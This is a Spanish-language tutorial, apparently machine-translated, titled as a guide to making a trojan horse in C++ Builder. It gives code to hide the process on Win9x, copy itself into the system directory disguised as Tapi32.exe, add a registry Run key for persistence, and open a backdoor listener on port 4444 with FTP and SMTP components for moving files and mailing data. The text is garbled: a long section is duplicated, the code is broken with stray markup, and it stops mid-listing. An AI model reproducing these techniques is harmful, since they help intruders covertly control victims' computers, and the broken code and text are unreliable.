¡Hola! ¿Cómo hacer un troyano?
En ese momento, vi un artículo en "Computer News", en el sentido de que un novato estaba controlado por un BO. Estaba tan asustado que no podía comer, dormir ni acceder a la computadora. ¡Internet todo el día y pedía ayuda por todas partes! Debes saber que los troyanos tienen una historia muy larga: ya en los días en que AT&T Unix y BSD Unix eran muy populares, los troyanos eran creados por jóvenes (principalmente estadounidenses) que jugaban programas (principalmente escritos en lenguaje C). o lenguaje Shell, se utiliza básicamente para robar la contraseña para iniciar sesión en el host con el fin de obtener permisos de nivel superior. En ese momento, el método principal de los troyanos era el engaño: primero modificaba su archivo .profile para implantar el troyano. Al iniciar sesión, los caracteres de la contraseña que ingresaba se compilaban en un archivo y se enviaban al buzón del atacante en forma de correo electrónico. La mayoría de los jóvenes en China crecieron bajo la influencia de DoS pirateados y no están muy familiarizados con Internet. Hasta que salió Win9x, especialmente la popularidad de WinNt, que promovió en gran medida el desarrollo de servicios de red, BO, después de tres años de uso, parecía un poco simple e incluso un simple troyano a los ojos de las personas (incluso en Win9x Este proceso se puede ver en el cuadro de diálogo "Cerrar programa"), lo que conmocionó enormemente al pueblo chino. En términos de seguridad de la red de China, este es un software que hace época.
Escribir tu propio troyano suena genial, ¿verdad? El caballo de Troya debe constar de dos partes: el programa servidor (Servidor) y el programa cliente (Cliente). El servidor es responsable de los ataques de circuito abierto, como una respuesta interna, y el cliente es responsable de atacar al objetivo. dos necesitan comunicarse a través de un determinado protocolo de red (generalmente el protocolo TCP/IP). Para que todos comprendan mejor la tecnología de ataque de los caballos de Troya y rompan el misterio de los caballos de Troya, hablaré brevemente sobre la tecnología de preparación de los caballos de Troya y, por cierto, escribiré un ejemplo de caballos de Troya, para que todos puedan prevenir y prevenir mejor. matar varios troyanos conocidos y desconocidos.
La primera es la elección de las herramientas de programación. Las herramientas de desarrollo más populares actualmente incluyen C ++ Builder, VC, VB y Delphi. Aquí elegimos C ++ Builder (en lo sucesivo, BCB); aunque VC es bueno, el diseño de la interfaz gráfica de usuario es demasiado complejo para resaltarlo mejor. mi ejemplo, centrándonos en la introducción de los principios básicos de los troyanos, elegimos el BCB visual también es bueno, pero la desventaja es que no puede heredar los recursos existentes (como el código fuente BO2000 publicado por la organización de piratas informáticos "Dead Cow Cult"). , que fue escrito por VC y se puede encontrar en todas partes de Internet VB, ni siquiera hables de eso: ¿aún quieres pasar una biblioteca de enlaces dinámicos de más de 1 megabyte a la víctima? --¿Msvbvm60.dll?
Inicie C++Builder 5.0 Enterprise, cree un nuevo proyecto y agregue tres controles VCL: uno es Server Socket en la página de Internet y los otros dos son NMFTP y NMSMTP en la página Fastnet. La función del socket del servidor es convertir el programa en un programa de servidor que pueda brindar servicios al mundo exterior (los sockets abiertos a los atacantes aparecieron por primera vez en Unix y luego fueron introducidos en Windows (incluidos Win98 y WinNt); Los dos últimos controles se utilizan para hacer funcional el programa FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo). Los dos últimos controles se utilizan para permitir que el programa tenga funciones FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo). Sabemos de un vistazo que estos dos controles pueden implementar la carga y descarga de software y el envío de correo electrónico.
La forma es visual, lo cual es ciertamente increíble. No sólo ocupa mucho espacio (un formulario por sí solo equivale a 300K), sino que también hace que el software sea visible, lo que no hace absolutamente nada.
Entonces, cuando se trata de escribir un programa troyano, puedes usar algunos trucos para hacer que el programa no contenga formularios, al igual que Delphi usa procedimientos para implementar programas pequeños que normalmente tienen un tamaño de solo 17 KB.
En primer lugar, debemos hacer que el programa sea invisible. Haga doble clic en el formulario, primero agregue código en el evento FormCreate y oculte el programa troyano en el cuadro de diálogo "Cerrar programa" de Win9x. Esta cosa aparentemente misteriosa es en realidad un proceso en segundo plano llamado Servicio. Puede ejecutarse con una prioridad más alta y se puede decir que es un controlador de dispositivo que está muy cerca del núcleo del sistema. Por lo tanto, siempre que nuestro programa esté registrado como un proceso de servicio (Proceso de Servicio) en la base de datos de procesos utilizando la función RegisterServiceProcess(). Sin embargo, no hay ninguna declaración de esta función en el archivo de encabezado preempaquetado de Borland, por lo que debemos declarar esta función de pájaro nosotros mismos en KERNEL32.DLL.
Primero determine si el sistema operativo de la computadora de destino es Win9x o WinNt:
{
DWORD dwVersion = GetVersion(); >// Obtener el número de versión del sistema operativo
if (dwVersion >= 0x80000000)
// El sistema operativo es Win9x, no WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
// Definir el prototipo de la función RegisterServiceProcess()
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;
hDLL = LoadLibrary ( "KERNEL32");
// Carga la biblioteca de enlaces dinámicos KERNEL32.
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS) ) GetProcAddress(hDLL, "RegisterServiceProcess");
// Obtener la dirección de la función RegisterServiceProcess()
lpRegisterServiceProcess()
lpRegisterServiceProcess();
lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS);
lpRegisterServiceProcess ( GetCurrentProcessId(),1);
// Ejecute la función RegisterServiceProcess() para ocultar el proceso
p>FreeLibrary(hDLL)
// Desinstalar DLL
}
}
}
} p> Esto eventualmente será invisible (¡después de todo el código que escribí!). ¿Por qué es necesario determinar el sistema operativo? Dado que el administrador de procesos en WinNt proporciona una descripción general del proceso actual, no es necesario usar el código anterior en WinNt (aunque también puede usar otros métodos, que discutiré más adelante).
Luego cópiese en el directorio %System%, como C:\Windows\System, y modifique el registro para que se cargue automáticamente al inicio:
{
char TempPath[MAX_PATH];
//Definir una variable
GetSystemDirectory(TempPath,MAX_PATH);
//TempPath es la dirección del búfer del directorio del sistema , MAX_PATH es el tamaño del búfer, obtenga la ruta del directorio del sistema de la computadora de destino
SystemPath= AnsiString(TempPath
//Formatee la cadena TempPath en un estilo que pueda ser utilizado por el compilador
CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe ").c_str() ,FALSE
/ // Cópiese en el directorio %System% y cámbiele el nombre a Tapi32.exe para disfrazarlo
Registry=new TRegistry
// Defina un objeto TRegistry y prepárese para modificar el registro. , este paso es esencial
Registry->RootKey=HKEY_LOCAL_MACHINE;
// Establece la clave principal en HKEY_LOCAL_MACHINE
Registry->OpenKey("Software\ \ \\\Microsoft\\\\\Windows\
CurrentVersion\Run",TRUE);
//Abrir clave Software\\\\Microsoft\\\\Windows\ \\ \\CurrentVersion\Run, si no existe, créelo
pruebe
{
/Si ocurre una excepción en la siguiente declaración, salte para atrapar para evitar fallas del programa
if (Registry->ReadString("crossbow")! = SystemPath+"\Tapi32.exe")
Registry->WriteString("crossbow",SystemPath+"\Tapi32.exe");
// Descubra si "crossbow" es %System%+Copia del directorio Tapi32.exe
// Si no, escribe la clave y el contenido anteriores
}
catch(...)
{
// Si se produce un error, no hagas nada
}
}
}< / p>
Bien, el proceso FormCreate se ha completado, por lo que Tapi32.exe se cargará automáticamente cada vez que se inicie. En el cuadro de diálogo "Cerrar programa", el proceso ya no está visible. El proceso ya no es visible y el troyano ha tomado forma.
Luego seleccione el control ServerSocket y cambie Activo a verdadero en el "Inspector de objetos" de la izquierda, de modo que se abra un puerto específico y en el estado del servidor tan pronto como se inicie el programa. Luego complete el puerto 4444, que es el número de puerto del troyano. Por supuesto, también se pueden usar otros números de puerto. Pero tenga cuidado de no utilizar puertos de gama baja por debajo de 1024, porque esto no solo puede entrar en conflicto con los puertos utilizados por los protocolos de red básicos, sino que también puede ser descubierto fácilmente, así que intente utilizar puertos de gama alta por encima de 1024 (por supuesto, también hay Con esta tecnología se utiliza deliberadamente un puerto específico, porque si ocurre un conflicto, Windows no informará un error ^_^). Puede ver el puerto utilizado por el control TNMFTP, que es el puerto 21, que es el puerto de control dedicado para el protocolo FTP (de manera similar, el puerto 25 de TNMSMTP es el puerto dedicado para el protocolo SMTP);
Vuelva a seleccionar el control ServerSocket, haga clic en la página del evento, haga doble clic en el evento OnClientRead y luego escriba el siguiente código:
{
FILE *fp= NULL;
char * contenido;
int times_of_try.
char TempFile[MAX_PATH]
//Definir una serie de variables para uso posterior
sprintf(TempFile, "%s%2
La primera es la elección de herramientas de programación. Actualmente, las herramientas de desarrollo más populares incluyen C ++ Builder, VC, VB y Delphi. Aquí elegimos C ++ Builder (en adelante, BCB). el diseño de la interfaz gráfica de usuario es demasiado complejo. Para resaltar mejor mis ejemplos y centrarnos en los principios básicos de los troyanos, elegimos visual BCB, que es bueno, pero la desventaja es que no puede heredar los recursos existentes (como el código fuente BO2000); publicado por el grupo de hackers "Dead Cow Cult" El código está escrito por VC y está en todas partes de Internet, no hablemos de VB. ¿Aún quieres pasar una biblioteca de enlaces dinámicos de más de 1 megabyte a la víctima? -Msvbvm60.dll?
Inicie C++Builder 5.0 Enterprise, cree un nuevo proyecto y agregue tres controles VCL: uno es el Server Socket en la página de Internet y los otros dos son NMFTP y NMSMTP. funciones de socket de servidor en la página Fastnet Convierte el programa en un programa de servidor que puede proporcionar servicios al mundo exterior (los sockets abiertos a los atacantes aparecieron por primera vez en Unix y luego fueron introducidos en Windows (incluidos Win98 y WinNt)); se utilizan los dos últimos controles Los dos últimos controles se utilizan para que el programa tenga funciones FTP (Protocolo de transferencia de archivos) y SMTP (Protocolo simple de transferencia de correo), y todos sabemos que se utilizan para que el programa tenga FTP (Transferencia de archivos). Protocol) y funciones SMTP (Protocolo simple de transferencia de correo). El software tiene controles para cargar/descargar y enviar correos electrónicos.
Es ciertamente increíble que el formulario ocupe mucho espacio (solo un formulario pesa 300 KB). Y también hace que el software sea visible, lo que no hace nada en absoluto. Entonces, cuando se trata de escribir un programa troyano, puedes usar algunos trucos para que el programa no contenga formularios, tal como Delphi usa procedimientos que generalmente lo son. sólo alrededor de 17K
Primero, debemos hacer que el programa sea invisible. Haga doble clic en el formulario, primero agregue el código en el evento FormCreate y oculte el programa troyano en el cuadro de diálogo "Cerrar programa". Es algo muy misterioso, de hecho, para decirlo sin rodeos, es un proceso en segundo plano llamado Servicio. Puede ejecutarse con una prioridad más alta y se puede decir que es el tipo de controlador de dispositivo que está muy cerca del núcleo del sistema. .
Por lo tanto, siempre que nuestro programa esté registrado como un proceso de servicio (Proceso de Servicio) en la base de datos de procesos utilizando la función RegisterServiceProcess(). Sin embargo, no hay ninguna declaración de esta función en el archivo de encabezado preempaquetado de Borland, por lo que debemos declarar esta función de pájaro nosotros mismos en KERNEL32.DLL.
Primero determine si el sistema operativo de la computadora de destino es Win9x o WinNt:
{
DWORD dwVersion = GetVersion(); >// Obtener el número de versión del sistema operativo
if (dwVersion >= 0x80000000)
// El sistema operativo es Win9x, no WinNt
{
typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);
archivo:
HINSTANCE hDLL
LPREGISTERSERVICEPROCESS lpRegisterServiceProcess <; /p>
hDLL = LoadLibrary( "KERNEL32");
file://agregar/cargar la biblioteca de vínculos dinámicos KERNEL32.
lpRegisterServiceProcess = ( LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL , "RegisterServiceProcess")
file://agregar/cargar biblioteca de enlaces dinámicos KERNEL32://get/address/to la función RegisterServiceProcess()
lpRegisterServiceProcess(GetCurrentProcessId(),1
file://Ejecute la función RegisterServiceProcess() para ocultar el proceso
FreeLibrary(hDLL
);